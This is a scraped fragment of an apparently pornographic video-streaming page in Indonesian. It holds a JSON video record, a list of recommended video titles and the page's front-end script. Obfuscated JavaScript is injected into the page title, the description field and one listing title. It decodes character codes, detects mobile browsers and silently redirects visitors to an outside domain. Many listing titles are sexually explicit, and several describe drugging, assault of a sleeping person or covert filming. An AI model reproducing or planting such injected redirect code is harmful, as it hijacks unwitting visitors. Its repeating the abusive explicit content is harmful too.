</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location .href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Tak ada habisnya Pijat Cabul Orgasme, Menggoda dan Ejakulasi, Hingga Vagina Menggila Sana Minase 水瀬さな SEX Agent-妄想族
Tak ada habisnya Pijat Cabul Orgasme, Menggoda dan Ejakulasi, Hingga Vagina Menggila Sana Minase 水瀬さな SEX Agent-妄想族","site_id":0,"video_url":"https://2605.v155p.com/20260603/nnQmFJ3T/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYTUwMTFlZTYxZDU0YjRmMzBiODRjYTgzYWU4Y2VhOGEuanBn.cache","duration":"02:11:36","actor":[],"lastmod":1783766805,"rating":"5.0","view_count":138,"description":"Pijat erotis tanpa henti, godaan, dan ejakulasi hingga vagina menjadi gila. Sana Minase, Agen Seks - Suku Delusi","tag":["Tak berujung","Tak berujung","klimaks","cabul","pijat","menggoda","ejakulasi","sampai","vagina","gila","Khayalan","Orang-orang yang mengalami delusi"],"site_url":"174294","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女优明星"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYTUwMTFlZTYxZDU0YjRmMzBiODRjYTgzYWU4Y2VhOGEuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"无尽的高潮淫秽按摩,挑逗和射精,直到阴道变得疯狂 Sana Minase 水瀬さな SEX Agent-妄想族","s_keywords":"无尽的高潮淫秽按摩,挑逗和射精,直到阴道变得疯狂 Sana Minase 水瀬さな SEX Agent-妄想族","s_description":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location .href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Tak ada habisnya Pijat Cabul Orgasme, Menggoda dan Ejakulasi, Hingga Vagina Menggila Sana Minase 水瀬さな SEX Agent-妄想族","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjgyMjg5M2UzYzJlZjhjNDQyOWM3YWEyMWFlMDVhNjMuanBn.cache","vod_id":18962740,"title":"1 April [Hardcore Tingkat Atas❤️ Penayangan Perdana Utama] Pilihan Terbaru Master Dominasi Twitter 'sseu': Penyiksaan Penis dan Anal, Hubungan Seksual dengan Ejakulasi Melimpah - Vagina Nakal Mencapai Orgasme Gila - Versi Asli Definisi Tinggi 720P","lastmod":"2025-12-14","duration":"00:10:28","url":"/play/18962740.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGU2NTE5MTdkZDgzMGEzY2I4Y2M5ZTAwYTczNTU4ODkuanBn.cache","vod_id":18958341,"title":"Menunjukkan wajahmu adalah kuncinya! Selebriti internet NTR istri yang dikhianati dan kencan dengan wanita jalang foto-foto pribadi terbongkar~ Dengan tulus mengundang pria lajang yang kuat untuk 4P~ Orgasme tanpa henti dan memanggil ayah (2)","lastmod":"2025-12-14","duration":"00:02:25","url":"/play/18958341.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMTcvMGFlYTM4M2QwZWMxZDJjMjljNWQ0NDFhM2M4ZjJkYzEuanBn.cache","vod_id":19063023,"title":"Seks gila di rumah dengan seorang gadis baik-baik","lastmod":"2025-12-13","duration":"18:00","url":"/play/19063023.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzU2ZjcyMzI2YjE5NDQyZDYyYjNhYmMwM2U1YjhkNmYuanBn.cache","vod_id":19012352,"title":"200GANA2257 Seorang playboy berpengalaman membawa seorang gadis ke kamarnya untuk berhubungan seks dan diam-diam merekamnya. Gadis itu cantik dan mungil, tingginya hanya 145 cm dan lebarnya 150 cm! Dia tidak punya pacar dan tidak punya pasangan seks, dan dia masturbasi menggunakan vibrator! Jadi saya memasukkan sebuah tongkat ke dalam vaginanya, yang biasanya tidak akan dia sentuh, dan dia merespons dengan sangat baik.","lastmod":"2025-03-24","duration":"01:07:40","url":"/play/19012352.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMmJjZGY2OGVhMDQ0OTE4M2E5MzNjZjAyYzA3NWFkMjYuanBn.cache","vod_id":18932133,"title":"EQ-486_B Seorang wanita berusia dua puluhan jatuh ke dalam keadaan linglung setelah disuntik dengan sejumlah besar obat afrodisiak di sebuah panti pijat yang khusus menyediakan minyak afrodisiak.","lastmod":"2025-03-22","duration":"02:28:46","url":"/play/18932133.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMGMyMDgxZDBlODhkMTNlNTY1ZmQ1ZDcxMDdkNTUxOTQuanBn.cache","vod_id":19163816,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Emi Hideo 03 Amateur Bait - Delusional Tribe","lastmod":"2026-07-11","duration":"05:44:19","url":"/play/19163816.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzc5OGM4YmQ5OGMwNjRhY2NmOGI4YmEzODZlMWExODEuanBn.cache","vod_id":18999077,"title":"Gadis Jepang menjilati anus dengan panik","lastmod":"2025-03-23","duration":"20:09","url":"/play/18999077.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDNiZjQxMjk1MzkwMjZjMmYzMDlkZDIxMmMzYjMzMzguanBn.cache","vod_id":18986689,"title":"326EVA-066 Seorang wanita cantik berbikini dengan bentuk tubuh sempurna, perkembangan fisik yang matang, dan sensitivitas☆ Dia sangat sensitif dan sering mencapai orgasme secara internal. Kami merekamnya dan video seksnya!","lastmod":"2025-12-14","duration":"01:11:32","url":"/play/18986689.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTYxZDBkMGU3ZjJhNzUyNDg3YTVmYTg5ZGRmMjY3OWIuanBn.cache","vod_id":18998233,"title":"[Indeks Kecabulan: 10/10] Sambil memegang pakaian dalamnya di mulut, dia disetubuhi dari belakang dengan dildo, kedua lubangnya ditembus secara bersamaan, dan dia disetubuhi hingga mencapai orgasme dengan mata terpejam. Sebuah dildo sepanjang 20 cm dimasukkan sepenuhnya ke dalam anusnya.","lastmod":"2025-03-23","duration":"34:03","url":"/play/18998233.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWU4ZWY3NjA0Y2VkNjA5MDZjN2FkMWY2ZWNkNjgxMzYuanBn.cache","vod_id":18984677,"title":"300MIUM-517 [Mahasiswi dengan Klimaks Tinggi] Sewa mahasiswi bertubuh super seksi untuk menjadi pacarmu! Bujuk dia untuk terlibat dalam tindakan seksual terlarang.","lastmod":"2025-03-23","duration":"01:40:50","url":"/play/18984677.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWRiYjEzMmI0NzBjZGVkZDY4ZGZiMTI5MDhiMzQ2ZWQuanBn.cache","vod_id":18953969,"title":"【Mewah dan Langka❤️Dewi Selebriti Internet Douyu】Peta Harta Karun Terbaru 2022: Kisah Kustom Terbaru Dewi Tari 'Xiao Enya' - Geisha Top dan Pertemuan Seksual Gila Kliennya - Godaan Cabul","lastmod":"2025-03-22","duration":"00:17:32","url":"/play/18953969.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTkwN2MzNGY1MjBiZGNmNjE3M2UxMmUxYjI2MTUzNTUuanBn.cache","vod_id":19011254,"title":"Pencucian otak hipnotis, sepenuhnya mendominasi tukang pijat yang menghina saya dengan mengatakan saya menikahi orang biadab, menggunakan penis saya yang kecil untuk membuatnya menginginkan lebih.","lastmod":"2025-03-24","duration":"02:00:23","url":"/play/19011254.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTM4NzQ1YmRmNTMyYmUzM2JlZGQ4YTczNmVlYjY3Y2EuanBn.cache","vod_id":18943245,"title":"[MIAA-432] Salon Pijat Cina W Whisper Revitalizing, Matsumoto Ichika, Nagase Yui","lastmod":"2025-03-22","duration":"02:48:43","url":"/play/18943245.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTEvMGZhZDkzM2NlMjEyZmNkMGRkMWNkZDExY2RmYTYyZDIuanBn.cache","vod_id":19168818,"title":"Pacar Ibu membuatku mencapai orgasme saat Ibu tidak di rumah_Himari Kosaka_h.m.p_DORAMA","lastmod":"2026-07-18","duration":"02:12:48","url":"/play/19168818.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDViYTc5MGEwZGI5M2U2MTEyOTU2ZTE5MDdmNjFjZDAuanBn.cache","vod_id":18934976,"title":"Seorang wanita muda yang baru menikah berselingkuh dengan seorang pria berjenggot dengan tergesa-gesa; jenggot pria itu membuat wanita itu terangsang dan menyebabkannya mengalami orgasme berulang kali.","lastmod":"2025-03-22","duration":"00:07:10","url":"/play/18934976.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTAvZTM4YzFlYmE2MWUzN2VlZWEyMmUyMTgyYTBjNTBhOTAuanBn.cache","vod_id":19037754,"title":"Terangsang secara seksual dan digoda secara cabul oleh seorang tukang pijat pria; diam-diam disetubuhi dan diperkosa secara brutal tanpa kondom saat tidur (situs web resmi).","lastmod":"2025-06-10","duration":"33:52","url":"/play/19037754.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGIzMDgyMTg1NWJkNWFkNmJiYmM5NjRlYjljYmJhYjkuanBn.cache","vod_id":18962857,"title":"FC2PPV 3193320 First Shot ★Bonus berupa rekaman kamera vagina tanpa sensor ☆♀59 Sosok ramping, payudara indah, dan gaya ejakulasi yang luar biasa!","lastmod":"2025-03-22","duration":"01:17:36","url":"/play/18962857.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTM5NDRkZjZjOThhZmU4MTg3OWQ1YzYyZmYyNDI0MjYuanBn.cache","vod_id":19006042,"title":"Peach Media - Wanita Kantoran Berkaos Kaki Hitam Mendapatkan Pelepasan Seksual di Kereta Bawah Tanah - Respons Orgasme Setelah Diintip - Zhang Xinyan","lastmod":"2025-03-24","duration":"10:12","url":"/play/19006042.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2I4MzE2NWFjNGFhYTA0NjBlMjU4OWVkMWEyMzg0ODAuanBn.cache","vod_id":18966840,"title":"Mahasiswi internasional HeiMi - menantang penis pria kulit hitam, menghancurkan vagina Anda, sangat mengerikan, sperma putih mengalir keluar begitu masuk ke dalam vagina, jalang ini sangat bahagia!","lastmod":"2025-12-14","duration":"00:21:22","url":"/play/18966840.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTM1NDY1OTFjMThiZjQ1NmI0N2EwMGJjM2Q5MzQ3MTguanBn.cache","vod_id":19002456,"title":"NNPJ-347 Hanya untuk ukuran G-cup ke atas! Seorang perjaka dengan ejakulasi dini yang pasti berejakulasi sebelum penetrasi mengalami ejakulasi terus-menerus yang sangat menggemaskan selama pengalaman seksual pertamanya! Dia menjemput 4 wanita amatir bertubuh seksi yang bersedia berhubungan seks! Menemukan mereka! Merekam film AV!","lastmod":"2025-03-23","duration":"03:27:59","url":"/play/19002456.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTEvMjgzOTQ2YjNmYzVjMTMwNzc4ZDg5NDEwMWMyYTE5ZTUuanBn.cache","vod_id":19037887,"title":"MIAA986 Aku akan membuatmu minum air kencing favoritmu sampai kau membencinya, lalu aku akan membuatmu ejakulasi di dalam dirinya.","lastmod":"2025-06-11","duration":"02:03:02","url":"/play/19037887.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWMyYTNiM2Y5MWRhZGY4YjQwMzJiZDdiNTc1NGFkODcuanBn.cache","vod_id":18952089,"title":"\"Pengungkapan Wajah Sempurna ☀️ Bocoran Premium\" - Seorang pria tampan yang baru pulang dari luar negeri mengajak pacar barunya dalam perjalanan balas dendam, dengan fokus merekam seluruh adegan seks ☀️ Dari pemanasan hingga klimaks, semuanya dilakukan sekaligus~ Payudara besarnya bergoyang dengan sangat menggairahkan.","lastmod":"2025-03-22","duration":"00:28:10","url":"/play/18952089.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MzAvMzc0N2NlNWQxYTdhMzBlZjdlZWZiYzE5OWM0Njg3MmIuanBn.cache","vod_id":19055241,"title":"Mengganggu presiden perusahaan wanita sampai dia pingsan... benar-benar pingsan, dalam lingkaran kehamilan! Nanami Tina SAME142","lastmod":"2025-09-29","duration":"02:28:56","url":"/play/19055241.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWQyODU2MDJmMWUyM2Y4NTExMzEwMTFjYWUwNmI3NmYuanBn.cache","vod_id":18947558,"title":"EYAN-007 Shiina Yuna, seorang istri tukang pijat yang kecanduan narkoba dan bungkuk","lastmod":"2025-03-22","duration":"01:57:33","url":"/play/18947558.html"}]},
videoTitle: '</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location .href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Tak ada habisnya Pijat Cabul Orgasme, Menggoda dan Ejakulasi, Hingga Vagina Menggila Sana Minase 水瀬さな SEX Agent-妄想族',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}